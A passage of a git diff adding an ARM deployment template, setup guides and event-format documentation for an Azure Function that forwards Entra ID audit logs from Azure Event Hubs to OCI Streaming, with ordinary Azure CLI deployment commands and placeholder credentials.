"Azure region for all resources." + } + }, + "functionAppName": { + "type": "string", + "metadata": { + "description": "Name of the Function App (must be globally unique)." + } + }, + "storageAccountName": { + "type": "string", + "defaultValue": "", + "minLength": 3, + "maxLength": 24, + "metadata": { + "description": "Optional storage account name. Leave empty to auto-generate." + } + }, + "packageUri": { + "type": "string", + "metadata": { + "description": "HTTPS URI to the zip package that contains the function (SAS URL or GitHub release)." + } + }, + "eventHubsConnectionString": { + "type": "securestring", + "metadata": { + "description": "Event Hubs namespace connection string with Listen (RootManageSharedAccessKey)." + } + }, + "eventHubConsumerGroup": { + "type": "string", + "defaultValue": "$Default", + "metadata": { + "description": "Consumer group to use." + } + }, + "eventHubName": { + "type": "string", + "metadata": { + "description": "Single Event Hub entity name bound to the Function trigger." + } + }, + "eventHubNamesCsv": { + "type": "string", + "defaultValue": "", + "metadata": { + "description": "Optional comma-separated list of Event Hub entity names for helper scripts. Leave empty to reuse EventHubName." + } + }, + "messageEndpoint": { + "type": "string", + "metadata": { + "description": "OCI Streaming message endpoint (https://cell-1.streaming..oci.oraclecloud.com)." + } + }, + "streamOcid": { + "type": "string", + "metadata": { + "description": "OCI Stream OCID." + } + }, + "ociUser": { + "type": "string", + "metadata": { + "description": "OCI user OCID." + } + }, + "ociKeyContent": { + "type": "securestring", + "metadata": { + "description": "OCI private key content. Single-line and multi-line PEM supported." + } + }, + "ociPassPhrase": { + "type": "securestring", + "defaultValue": "", + "metadata": { + "description": "Pass phrase for the OCI private key (optional)." + } + }, + "ociFingerprint": { + "type": "string", + "metadata": { + "description": "OCI API key fingerprint." + } + }, + "ociTenancy": { + "type": "string", + "metadata": { + "description": "OCI tenancy OCID." + } + }, + "ociRegion": { + "type": "string", + "metadata": { + "description": "OCI region name (e.g., us-ashburn-1)." + } + }, + "maxBatchSize": { + "type": "int", + "defaultValue": 100, + "metadata": { + "description": "Maximum messages per OCI batch." + } + }, + "maxBatchBytes": { + "type": "int", + "defaultValue": 1048576, + "metadata": { + "description": "Maximum bytes per OCI batch." + } + }, + "inactivityTimeout": { + "type": "int", + "defaultValue": 10, + "metadata": { + "description": "Seconds with no events before ending a receive pass." + } + } + }, + "variables": { + "storageAccountName": "[if(equals(parameters('storageAccountName'), ''), toLower(concat('ocilogs', uniqueString(resourceGroup().id))), parameters('storageAccountName'))]", + "planName": "[concat(parameters('functionAppName'), '-plan')]", + "contentShare": "[toLower(concat(parameters('functionAppName'), '-files'))]", + "storageConnectionString": "[concat('DefaultEndpointsProtocol=https;AccountName=', variables('storageAccountName'), ';AccountKey=', listKeys(resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName')), '2022-09-01').keys[0].value, ';EndpointSuffix=', environment().suffixes.storage)]" + }, + "resources": [ + { + "type": "Microsoft.Storage/storageAccounts", + "apiVersion": "2022-09-01", + "name": "[variables('storageAccountName')]", + "location": "[parameters('location')]", + "sku": { + "name": "Standard_LRS" + }, + "kind": "StorageV2", + "properties": { + "minimumTlsVersion": "TLS1_2", + "supportsHttpsTrafficOnly": true + } + }, + { + "type": "Microsoft.Web/serverfarms", + "apiVersion": "2022-09-01", + "name": "[variables('planName')]", + "location": "[parameters('location')]", + "kind": "functionapp", + "sku": { + "name": "Y1", + "tier": "Dynamic", + "size": "Y1", + "family": "Y", + "capacity": 0 + }, + "properties": { + "maximumElasticWorkerCount": 1, + "reserved": true + } + }, + { + "type": "Microsoft.Web/sites", + "apiVersion": "2022-09-01", + "name": "[parameters('functionAppName')]", + "location": "[parameters('location')]", + "kind": "functionapp,linux", + "dependsOn": [ + "[resourceId('Microsoft.Web/serverfarms', variables('planName'))]", + "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]" + ], + "properties": { + "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('planName'))]", + "siteConfig": { + "linuxFxVersion": "python|3.11", + "appSettings": [ + { + "name": "AzureWebJobsStorage", + "value": "[variables('storageConnectionString')]" + }, + { + "name": "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING", + "value": "[variables('storageConnectionString')]" + }, + { + "name": "WEBSITE_CONTENTSHARE", + "value": "[variables('contentShare')]" + }, + { + "name": "FUNCTIONS_EXTENSION_VERSION", + "value": "~4" + }, + { + "name": "FUNCTIONS_WORKER_RUNTIME", + "value": "python" + }, + { + "name": "WEBSITE_RUN_FROM_PACKAGE", + "value": "[parameters('packageUri')]" + }, + { + "name": "EventHubsConnectionString", + "value": "[parameters('eventHubsConnectionString')]" + }, + { + "name": "EventHubConsumerGroup", + "value": "[parameters('eventHubConsumerGroup')]" + }, + { + "name": "EventHubName", + "value": "[parameters('eventHubName')]" + }, + { + "name": "EventHubNamesCsv", + "value": "[if(equals(parameters('eventHubNamesCsv'), ''), parameters('eventHubName'), parameters('eventHubNamesCsv'))]" + }, + { + "name": "MessageEndpoint", + "value": "[parameters('messageEndpoint')]" + }, + { + "name": "StreamOcid", + "value": "[parameters('streamOcid')]" + }, + { + "name": "user", + "value": "[parameters('ociUser')]" + }, + { + "name": "key_content", + "value": "[parameters('ociKeyContent')]" + }, + { + "name": "pass_phrase", + "value": "[parameters('ociPassPhrase')]" + }, + { + "name": "fingerprint", + "value": "[parameters('ociFingerprint')]" + }, + { + "name": "tenancy", + "value": "[parameters('ociTenancy')]" + }, + { + "name": "region", + "value": "[parameters('ociRegion')]" + }, + { + "name": "MaxBatchSize", + "value": "[string(parameters('maxBatchSize'))]" + }, + { + "name": "MaxBatchBytes", + "value": "[string(parameters('maxBatchBytes'))]" + }, + { + "name": "InactivityTimeout", + "value": "[string(parameters('inactivityTimeout'))]" + } + ] + }, + "httpsOnly": true + } + } + ], + "outputs": { + "functionAppName": { + "type": "string", + "value": "[parameters('functionAppName')]" + }, + "storageAccountName": { + "type": "string", + "value": "[variables('storageAccountName')]" + } + } +} diff --git a/observability-and-management/assets/azurelogs2oci/docs/EVENT_FORMAT_DOCUMENTATION.md b/observability-and-management/assets/azurelogs2oci/docs/EVENT_FORMAT_DOCUMENTATION.md new file mode 100644 index 000000000..e748ef1d1 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/docs/EVENT_FORMAT_DOCUMENTATION.md @@ -0,0 +1,172 @@ +# Microsoft Azure Event Hub Format for OCI Streaming + +## 📋 Event Type Being Sent + +The Azure Function sends **EntraID Audit logs** in the **Microsoft Azure Event Hub format** to OCI Streaming. + +### 🎯 Source System +- **Azure Event Hub** (Microsoft Azure) +- **Log Type**: EntraID Audit logs (Azure Active Directory audit events) +- **Workload**: `AzureActiveDirectory` + +### 📊 Event Structure + +Each event sent to OCI Streaming follows this exact format from Azure Event Hub: + +```json +{ + "TimeGenerated": "2025-12-04T16:41:27.385849+00:00", + "Id": "xxxx", + "Operation": "Add member to group", + "RecordType": 11, + "ResultStatus": "Failure", + "UserType": "Admin", + "UserId": "xxxx", + "UserKey": "xxxx", + "Workload": "AzureActiveDirectory", + "ObjectId": "xxxxxx", + "ClientIP": "x", + "OrganizationId": "xxxxx", + "Version": 1, + "CreationTime": "2025-12-04T16:41:27", + "AzureActiveDirectoryEventType": 2, + "ExtendedProperties": [ + { + "Name": "UserAgent", + "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + }, + { + "Name": "RequestType", + "Value": "OAuth2:Token" + } + ], + "Actor": [ + { + "ID": "xxxx", + "Type": 0 + }, + { + "ID": "xxxx", + "Type": 5 + } + ], + "ActorContextId": "xxxx", + "ActorIpAddress": "xxx", + "InterSystemsId": "xxxx", + "IntraSystemId": "xxxx", + "Target": [ + { + "ID": "xxxx", + "Type": 0 + } + ], + "TargetContextId": "xxxx", + "ApplicationId": "xxxx" +} +``` + +## 🔍 Field Descriptions + +### Core Event Fields +- **`TimeGenerated`**: ISO 8601 timestamp when the event was generated +- **`Id`**: Unique event identifier (UUID) +- **`Operation`**: The operation that was performed (e.g., "Add user", "UserLoggedIn") +- **`RecordType`**: Numeric code indicating the type of audit record (1-20) +- **`ResultStatus`**: "Success" or "Failure" +- **`Workload`**: Always "AzureActiveDirectory" for EntraID events + +### User & Identity Fields +- **`UserId`**: Email address of the user who performed the action +- **`UserKey`**: Internal user identifier +- **`UserType`**: "Member", "Guest", or "Admin" +- **`Actor`**: Array of actor objects with ID and Type +- **`ActorContextId`**: Context identifier for the actor +- **`ActorIpAddress`**: IP address of the actor + +### Target & Object Fields +- **`ObjectId`**: ID of the object that was affected +- **`Target`**: Array of target objects affected by the operation +- **`TargetContextId`**: Context identifier for the target + +### Additional Metadata +- **`ClientIP`**: Client IP address +- **`OrganizationId`**: Azure AD tenant/organization identifier +- **`ApplicationId`**: Application identifier (often Microsoft Graph API) +- **`Version`**: Event schema version +- **`CreationTime`**: When the event was created +- **`AzureActiveDirectoryEventType`**: Specific EntraID event type (1-5) +- **`ExtendedProperties`**: Additional key-value properties +- **`InterSystemsId`**: Internal system identifier +- **`IntraSystemId`**: Internal system identifier + +## 🚀 Data Flow + +``` +Azure Event Hub → Azure Function → OCI Streaming + ↓ ↓ ↓ +EntraID Audit Transform PutMessages API + Events Format (Base64 encoded) +``` + +### Message Transformation + +The Azure Function transforms events using `message_transformer.py`: + +```json +{ + "source": "AzureEventHub", + "event_data": { + // Original EntraID Audit log (above format) + }, + "metadata": { + "ingestion_time": null, + "eventhub_metadata": { + "partition_id": "...", + "sequence_number": ..., + "offset": "...", + "enqueued_time": "...", + "properties": {} + } + } +} +``` + +### OCI Streaming Storage + +Messages are sent to OCI Streaming using the PutMessages API with Base64 encoding: + +- **API**: `PUT /20180418/messages` +- **Encoding**: Base64 encoded JSON +- **Partitioning**: Automatic (based on message key if provided) +- **Limits**: Max 1MB per message, 100 messages per batch + +## ✅ Verification + +Test with 50 dummy events: + +```bash +cd "/Azure-Sentinel/Solutions/Oracle Cloud Infrastructure/Data Connectors" +python3 test_oci_streaming_real.py --count 50 --mock +``` + +**Expected Output:** +- ✅ 50 EntraID Audit logs generated +- ✅ Microsoft Azure Event Hub format validated +- ✅ Batched into 5 batches of 10 messages each +- ✅ All messages successfully sent to OCI Streaming + +## 🔗 Related Components + +- **`AzureFunctionOCILogsToStream/`**: Original Event Hub → OCI function +- **`message_transformer.py`**: Event transformation logic +- **`test_send_to_oci.py`**: Existing test script for EntraID logs +- **`test_oci_streaming_real.py`**: Updated test with correct Event Hub format + +## 📝 Notes + +- **Event Type**: EntraID Audit logs (not Activity logs, not Sign-in logs) +- **Format**: Exact Microsoft Azure Event Hub schema +- **Source**: Azure Event Hub consumer groups +- **Destination**: OCI Streaming service via PutMessages API +- **Encoding**: Base64 JSON in message body +- **Batching**: Automatic batching with configurable sizes diff --git a/observability-and-management/assets/azurelogs2oci/docs/azurelogs2oci.code-workspace b/observability-and-management/assets/azurelogs2oci/docs/azurelogs2oci.code-workspace new file mode 100644 index 000000000..96f05bced --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/docs/azurelogs2oci.code-workspace @@ -0,0 +1,10 @@ +{ + "folders": [ + { + "path": ".." + } + ], + "settings": { + "debug.internalConsoleOptions": "neverOpen" + } +} \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/docs/blog-azurelogs-to-oci-streaming.md b/observability-and-management/assets/azurelogs2oci/docs/blog-azurelogs-to-oci-streaming.md new file mode 100644 index 000000000..0e6d54c9c --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/docs/blog-azurelogs-to-oci-streaming.md @@ -0,0 +1,94 @@ +# Ship Azure logs to OCI Streaming (Event Hub trigger, Azure portal + OCI console) + +Azure Event Hubs is a convenient landing zone for platform and Entra ID logs. When you also need those logs in Oracle Cloud Infrastructure (OCI) Streaming, you can bridge the two clouds with a tiny Python Azure Function. This guide is ready for blog publication and includes screenshot placeholders for both the Azure portal and the OCI console. + +## Architecture at a glance +- Azure Function with an Event Hub trigger (per-hub binding) sends to OCI Streaming via PutMessages. +- Base64 encoding and 1MB/count-aware batching to respect OCI limits. +- Uses OCI API signing keys (user OCID, private key, fingerprint, tenancy, region). +- Works on Linux Consumption/Premium; deployment via custom ARM template or zip deploy. +- Backfill/drain scripts are included for one-time migrations. +- [Screenshot: Architecture diagram - Event Hub → Function → OCI Streaming] + +## Prerequisites +- Azure: Event Hubs namespace with the hub carrying your logs, Azure subscription, Azure CLI. +- OCI: Streaming stream in your tenancy, user API signing keys (fingerprint must match the private key you deploy). +- Tools: zip (or 7z), Functions Core Tools (optional for local runs), GitHub Actions secret `AZURE_FUNCTIONAPP_PUBLISH_PROFILE` if using the workflow. +- Security: keep `key_content` to the key block only (no trailing comments), prefer Key Vault references for production. +- [Screenshot: Azure Portal - Event Hubs namespace overview] +- [Screenshot: OCI Console - Streaming service landing page] + +## Step 0: Prepare OCI Streaming +1) Create (or identify) the target stream in OCI. + - [Screenshot: OCI Console - Create Stream form] +2) Create/confirm the API key on the OCI user and capture: + - user OCID, tenancy OCID, region, fingerprint, and the private key PEM (single-line is okay; the function rewraps it). + - [Screenshot: OCI Console - User API keys tab with fingerprint highlighted] +3) Record the Stream OCID and the message endpoint (https://cell-1.streaming..oci.oraclecloud.com). + - [Screenshot: OCI Console - Stream details page showing OCID + endpoint] + +## Step 1: Prepare Azure Event Hub +1) List hubs in the namespace and pick the hub for the trigger: + ```bash + az eventhubs eventhub list -g --namespace-name --query "[].name" -o tsv + ``` +2) Choose a dedicated consumer group (e.g., `$Default` or `oci-bridge`). +3) Keep the namespace-level connection string (RootManageSharedAccessKey with Listen). +4) [Screenshot: Azure Portal - Event Hub overview showing consumer groups] + +## Step 2: Package the function (or grab the workflow artifact) +Local option: +```bash +python3 -m pip install -r function/EventHubsNamespaceToOCIStreaming/requirements.txt \ + --target function/EventHubsNamespaceToOCIStreaming/.python_packages/lib/site-packages +(cd function/EventHubsNamespaceToOCIStreaming && zip -qry ../../azurelogs2oci-function.zip .) +# Upload azurelogs2oci-function.zip to blob storage with a SAS URL +``` +GitHub Actions option: +- Trigger `.github/workflows/deploy-azure-function.yml` with `function_app_name` set. +- Secret required: `AZURE_FUNCTIONAPP_PUBLISH_PROFILE` (download from Function App blade). +- The workflow builds the zip, deploys, and publishes the artifact for reuse. +- [Screenshot: GitHub Actions run showing build + deploy] + +## Step 3: Deploy from the Azure portal (custom template) +1) Portal: **Create a resource** → **Template deployment (deploy using custom templates)**. + - [Screenshot: Azure Portal - Template deployment blade] +2) Upload `deploy/azuredeploy.json`. +3) Fill parameters (matches the form fields): + - Function App name/region, EventHubsConnectionString, EventHubConsumerGroup, EventHubName. + - OCI credentials: user, key_content, pass_phrase (optional), fingerprint (matching the key), tenancy, region. + - Target stream: MessageEndpoint, StreamOcid. + - Optional: MaxBatchSize, MaxBatchBytes (InactivityTimeout is ignored for the Event Hub trigger). + - packageUri: HTTPS URL to your zip (SAS or GitHub artifact). + - [Screenshot: Azure Portal - Template parameters filled in] +4) Review + create. The template provisions storage, plan, Function App, app settings, and sets WEBSITE_RUN_FROM_PACKAGE to your zip. + - [Screenshot: Azure Portal - Deployment succeeded] + +## Step 4: Validate end-to-end +- Tail logs (choose one): + ```bash + az webapp log tail -g -n + func azure functionapp logstream --resource-group # Core Tools + ``` + Look for "Config summary", partition start/close, batch flush counts, and OCI send status. + - [Screenshot: Azure Function log stream showing batches sent] +- Confirm ingestion in OCI: + - Check the stream metrics and partition offsets. + - [Screenshot: OCI Console - Stream metrics/partitions showing new messages] +- If you see a warning about Stream Pool OCIDs, update to a Stream OCID (ocid1.stream...). +- For Linux Consumption, logstream in CLI may be unavailable; use EP1 or Application Insights Live Metrics. + +## Step 5: Backfill and local validation (optional) +- Generate a local `.env.local` interactively: `./scripts/setup_eventhub_to_oci.sh` (discovers hubs, resolves connection string). +- Drain/backfill locally: `./scripts/drain_eventhub_to_oci.sh --from-beginning` (uses EventHubName/consumer group and writes to OCI). +- Quick credential check: `python scripts/test_oci_simple.py` (prefers `.env.local`, falls back to legacy `.env`). +- [Screenshot: Terminal output from drain script showing sent counts] + +## Operational tips +- Use a dedicated consumer group so other consumers remain unaffected. +- Ensure `fingerprint` matches the deployed private key and that `key_content` ends at `-----END PRIVATE KEY-----` with no trailing text. +- Use the OCI *stream* OCID (not the stream pool OCID). +- Keep outbound access from the Function App to `cell-*.streaming..oci.oraclecloud.com`. +- For persistent checkpoints beyond the binding defaults, integrate Azure Blob checkpointing. + +With this setup, Azure logs flow continuously from Event Hubs to OCI Streaming with a small, auditable code surface and repeatable deployment steps. Replace the placeholders with real screenshots and publish. diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/.funcignore b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/.funcignore new file mode 100644 index 000000000..b694934fb --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/.funcignore @@ -0,0 +1 @@ +.venv \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/QUICKSTART.md b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/QUICKSTART.md new file mode 100644 index 000000000..f35ac2863 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/QUICKSTART.md @@ -0,0 +1,190 @@ +# QUICKSTART: Deploy EventHubsNamespaceToOCIStreaming to Azure and forward logs to OCI Streaming + +This function consumes from a selected Azure Event Hub (within a namespace) and forwards messages to Oracle Cloud Infrastructure (OCI) Streaming via the PutMessages API. + +What you get +- Event Hub-triggered Azure Function (real-time, no schedule/poller) +- Reads from the configured Event Hub using a namespace connection string +- Batches messages and base64-encodes payloads as required by OCI Streaming +- Sends to your OCI Stream using API signing keys (fingerprint must match the private key) +- Portal-friendly deployment: ARM template (deploy/azuredeploy.json) that accepts all app settings and a zip URL +- GitHub Actions workflow for zip build/deploy (.github/workflows/deploy-azure-function.yml) + +Prerequisites +- Azure: + - Event Hubs namespace with hubs (e.g., insights-activity-logs) + - Azure subscription + permissions to create Function App and Storage + - Azure CLI installed (az) +- OCI: + - An OCI Streaming Stream created + - API signing keys configured for your OCI user +- Local tools: + - zip (or 7z) for packaging the function + +1) Identify the Event Hub to bind to the trigger +Use Azure CLI to list hubs in your namespace and select the one you want the Function to process: +az eventhubs eventhub list -g --namespace-name --query "[].name" -o tsv + +Set `EventHubName` to that hub (use a dedicated consumer group if possible). + +2) Create the Function App (Linux, Python 3.11, Functions v4) +Set variables: +RG="" +LOC="westeurope" +SA="" +APP="" + +Create resources: +az group create -n "$RG" -l "$LOC" +az storage account create -g "$RG" -n "$SA" -l "$LOC" --sku Standard_LRS +az functionapp create -g "$RG" -n "$APP" --consumption-plan-location "$LOC" --runtime python --runtime-version 3.11 --functions-version 4 --os-type linux --storage-account "$SA" + +3) Configure app settings +Required settings +- EventHubsConnectionString: Namespace-level connection string with Listen (RootManageSharedAccessKey) +- EventHubConsumerGroup: Consumer group name (for shell examples, use `'$Default'` literally) +- EventHubName: The single Event Hub bound to the Function trigger +- EventHubNamesCsv: Optional CSV of hubs for helper scripts (drain/backfill) +- MessageEndpoint: OCI messages endpoint (https://cell-1.streaming..oci.oraclecloud.com) +- StreamOcid: OCI Stream OCID +- OCI credentials: + - user (OCI user OCID) + - key_content (private key PEM; single-line supported) + - pass_phrase (optional) + - fingerprint (API key fingerprint that matches key_content) + - tenancy (tenancy OCID) + - region (OCI region name) + +Example commands: +# Event Hubs + consumer group +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + EventHubsConnectionString="Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=..." \ + EventHubConsumerGroup='$Default' \ + EventHubName="insights-activity-logs" + +# OCI target +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + MessageEndpoint="https://cell-1.streaming..oci.oraclecloud.com" \ + StreamOcid="ocid1.stream.oc1..xxxx" + +# OCI credentials (consider Key Vault references in production) +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + user="ocid1.user.oc1..xxxx" \ + key_content="-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----" \ + pass_phrase="" \ + fingerprint="" \ + tenancy="ocid1.tenancy.oc1..xxxx" \ + region="" + +Optional tuning: +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + MaxBatchSize="100" MaxBatchBytes="1048576" +# (InactivityTimeout is ignored for the Event Hub trigger; batching is what matters here) + +4) Publish the function with remote build +cd function/EventHubsNamespaceToOCIStreaming +func azure functionapp publish "$APP" --python --build remote --force +cd - 1>/dev/null + +Fallback if Functions Core Tools is unavailable: +cd function/EventHubsNamespaceToOCIStreaming +# Remove host-specific dependencies before packaging for Azure Linux +rm -rf .python_packages +zip -r ../../function-deploy.zip . +cd - 1>/dev/null +az functionapp deployment source config-zip -g "$RG" -n "$APP" --src "function-deploy.zip" + +Alternative: Azure Portal (custom deployment) +- Go to Azure Portal > Create a resource > Template deployment (deploy a custom template) +- Upload `deploy/azuredeploy.json` and fill values (Function App name, Event Hubs connection string, consumer group, required `EventHubName`, optional `EventHubNamesCsv`, OCI credentials, MessageEndpoint, StreamOcid, optional batch settings) +- PackageUri: provide an HTTPS URL to the zip produced locally or by the GitHub Actions workflow (upload the zip to a storage container with SAS) +- Review + create, then validate in Function App > Configuration and log stream + +CI/CD via GitHub Actions (manual) +- Trigger .github/workflows/deploy-azure-function.yml with inputs.function_app_name set to your target Function App +- Add secret AZURE_FUNCTIONAPP_PUBLISH_PROFILE (get from Function App > Overview > Get publish profile) +- The workflow builds on `ubuntu-latest`, publishes the zip as an artifact, and deploys it to your Function App. That Linux build is safe for Azure Linux. + +5) Validate +- Tail logs (choose one): + az webapp log tail -g "$RG" -n "$APP" + # or (Functions Core Tools) + func azure functionapp logstream "$APP" --resource-group "$RG" +- You should see partition start/close messages, batch flush logs, and OCI send results +- A "Config summary" line will echo the hubs, consumer group, and masked endpoint/stream OCID to confirm settings from provisioning are applied. +- Note: logstream is not supported on Linux Consumption. Use a premium plan (EP1) via provision_azure_to_oci.sh or open Application Insights Live Metrics in the portal. +- If you see a warning about Stream Pool OCIDs, update StreamOcid to the Stream OCID (ocid1.stream...) instead of the Stream Pool (ocid1.streampool...). +- `az functionapp function list -g "$RG" -n "$APP"` should show `eventhub_to_oci` after deployment. +- Verify messages arrive in your OCI Streaming stream + +Notes and troubleshooting +- This is an Event Hub trigger, not a timer-based poller. Once the Function App is running, Azure invokes it as events arrive on the configured Event Hub and consumer group. +- To retain checkpoints across runs, you can integrate Azure Blob Storage checkpointing (not included by default). +- Use a dedicated consumer group to avoid interfering with other consumers. +- Ensure outbound network access from the Function App to OCI endpoint. +- Secure key_content via Azure Key Vault (Key Vault references in app settings) for production. +- Do not deploy a locally built `.python_packages` directory from macOS or Windows into an Azure Linux Function App; use remote build instead. + +Helper script note +- scripts/drain_eventhub_to_oci.sh now falls back to MessageEndpoint / StreamOcid from local.settings.json if OCI_MESSAGE_ENDPOINT / OCI_STREAM_OCID env vars are absent, avoiding missing-variable errors during dry runs. +- scripts/setup_eventhub_to_oci.sh now auto-discovers existing Event Hubs and OCI streams when there is a single clear match and writes `.env.local` with shell-safe quoting. + +Minimal local testing (optional) +Create a local.settings.json (do not commit): +{ + "IsEncrypted": false, + "Values": { + "AzureWebJobsStorage": "UseDevelopmentStorage=true", + "FUNCTIONS_WORKER_RUNTIME": "python", + "EventHubsConnectionString": "Endpoint=sb://...;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=...;", + "EventHubConsumerGroup": "$Default", + "EventHubName": "insights-activity-logs", + "EventHubNamesCsv": "insights-activity-logs", + "MessageEndpoint": "https://cell-1.streaming..oci.oraclecloud.com", + "StreamOcid": "ocid1.stream.oc1..xxxx", + "user": "ocid1.user.oc1..xxxx", + "key_content": "-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----", + "pass_phrase": "", + "fingerprint": "", + "tenancy": "ocid1.tenancy.oc1..xxxx", + "region": "" + } +} +Then: +func start +- Alternative smoke test: copy `.env.example` to `.env.local` in the repo root, set EventHubsConnectionString and the OCI *stream* OCID (not the stream pool OCID), and run: + ./scripts/drain_eventhub_to_oci.sh --from-beginning + This drains locally and confirms messages can be written to OCI Streaming. +- To generate `.env.local` interactively (discovers Event Hubs via Azure CLI), run: + ./scripts/setup_eventhub_to_oci.sh + +Repository cleanup status +- Legacy/duplicate connectors, ARM templates, and test/demo scripts were removed per your instruction. +- Current implementation of record: EventHubsNamespaceToOCIStreaming/ (this folder) and helper scripts: + - drain_eventhub_to_oci.sh (ad-hoc drains; optional) + - eventhub_consumer.py (ad-hoc drains; optional) + +That's it — your Function App will process the configured Event Hub in real time and forward messages to OCI Streaming. + +6) Complete the pipeline to OCI Log Analytics (optional) +To get logs into OCI Log Analytics with a custom Azure EntraID parser (26 field mappings), run the OCI Log Analytics setup: + +Prerequisites: +- oci CLI installed and configured (oci setup config) +- OCI Python SDK installed (pip install oci) +- Log Analytics onboarded in your OCI tenancy (one-time: OCI Console > Observability & Management > Log Analytics) + +Option A — Interactive script: + ./scripts/setup_oci_log_analytics.sh + +Option B — OCI Resource Manager Stack (Terraform): + cd stack && zip -r ../azurelogs2oci-stack.zip . && cd .. + # Upload to OCI Console > Resource Manager > Stacks + # Then run the post-deploy script: + export LA_NAMESPACE="" OCI_COMPARTMENT_ID="" + python3 stack/scripts/setup_log_analytics.py + +This creates: Stream Pool, Stream, Log Group, custom fields (22), JSON parser (26 mappings), source, and Service Connector Hub. The Function enriches every log with cloudProvider: "Azure" for multicloud dashboards. + +Verify in OCI Log Analytics Log Explorer: + 'Cloud Provider' = 'Azure' | stats count by 'Azure Operation' diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/README.md b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/README.md new file mode 100644 index 000000000..4d67b1eed --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/README.md @@ -0,0 +1,157 @@ +# EventHubsNamespaceToOCIStreaming (Event Hub-triggered Azure Function) + +Purpose: +- Processes events from Azure Event Hub in real-time and forwards them to Oracle Cloud Infrastructure (OCI) Streaming using the PutMessages API. +- Batching with 1MB and count limits, base64-encodes payloads as required by OCI. +- Event Hub trigger processes events as they arrive (no polling/scheduling). + +Folder contents: +- eventhub_to_oci/__init__.py: Function logic (Event Hub trigger + OCI sender) +- eventhub_to_oci/function.json: Event Hub trigger binding (real-time processing) +- requirements.txt: Python deps (azure-functions, azure-eventhub, oci) +- host.json: Function host configuration (extension bundle v4+) + +Supported configuration (App Settings): +- EventHubsConnectionString: Event Hubs namespace-level connection string (RootManageSharedAccessKey with Listen) +- EventHubName: Single Event Hub name bound to the trigger (first hub if you listed multiple) +- MessageEndpoint or OCI_MESSAGE_ENDPOINT: OCI Streaming message endpoint (e.g., https://cell-1.streaming..oci.oraclecloud.com) +- StreamOcid or OCI_STREAM_OCID: Target OCI stream OCID +- OCI credentials: + - user: OCI user OCID + - key_content: Private key content (single-line supported; function rewraps to PEM) + - pass_phrase: Optional + - fingerprint: API key fingerprint (must match the private key) + - tenancy: OCI tenancy OCID + - region: OCI region name +- Optional: + - MaxBatchSize (default 100): Maximum messages per batch + - MaxBatchBytes (default 1048576): Maximum batch size in bytes (1MB OCI limit) + +Deploy from Azure portal (custom template) +- Use deploy/azuredeploy.json with Azure Portal > Create a resource > Template deployment (custom). The template prompts for Function App name, Event Hubs connection, consumer group, the single `EventHubName` required by the trigger, optional CSV of hubs for helper scripts, OCI credentials, message endpoint, stream OCID, and optional batch sizes. +- Provide an HTTPS URL to the packaged zip (WEBSITE_RUN_FROM_PACKAGE) so the portal can deploy without CLI. You can generate the zip locally or use the GitHub Actions artifact described below. + +Trigger: +- Event Hub trigger: Processes events in real-time as they arrive in the configured Event Hub. + +Prerequisites: +- Azure: + - Event Hubs namespace and hubs populated with logs + - Azure subscription + permissions to create Function App and Storage + - Consumer group for this function +- OCI: + - Streaming Stream in target compartment + - API signing keys configured for the user whose OCID is used +- Tools: + - Azure CLI (az) + - zip (or 7z) for packaging deploy artifacts + +One-liner to list hub names and build EventHubNamesCsv: +az eventhubs eventhub list -g --namespace-name --query "[].name" -o tsv | paste -sd, - + +Local run (optional): +- Create EventHubsNamespaceToOCIStreaming/local.settings.json (do not check into source): +{ + "IsEncrypted": false, + "Values": { + "AzureWebJobsStorage": "UseDevelopmentStorage=true", + "FUNCTIONS_WORKER_RUNTIME": "python", + "EventHubsConnectionString": "Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=...;", + "EventHubConsumerGroup": "$Default", + "EventHubName": "insights-activity-logs", + "EventHubNamesCsv": "insights-activity-logs", + "MessageEndpoint": "https://cell-1.streaming..oci.oraclecloud.com", + "StreamOcid": "ocid1.stream.oc1..xxxx", + "user": "ocid1.user.oc1..xxxx", + "key_content": "-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----", + "pass_phrase": "", + "fingerprint": "", + "tenancy": "ocid1.tenancy.oc1..xxxx", + "region": "", + "MaxBatchSize": "100", + "MaxBatchBytes": "1048576", + "InactivityTimeout": "10" + } +} +- Run: func start +- For a quick local smoke test against OCI, copy `.env.example` to `.env.local` at repo root, set EventHubsConnectionString and the OCI *stream* OCID (not stream pool), then run `./scripts/drain_eventhub_to_oci.sh --from-beginning`. The script will read `.env.local` or `local.settings.json` and confirm it can put messages to OCI. +- Need help populating `.env.local`? Run `./scripts/setup_eventhub_to_oci.sh` to auto-discover existing Event Hubs and OCI streams when there is a single clear match, resolve the connection string, and prompt for OCI settings; it writes `.env.local` (git-ignored). + +Deploy to Azure using 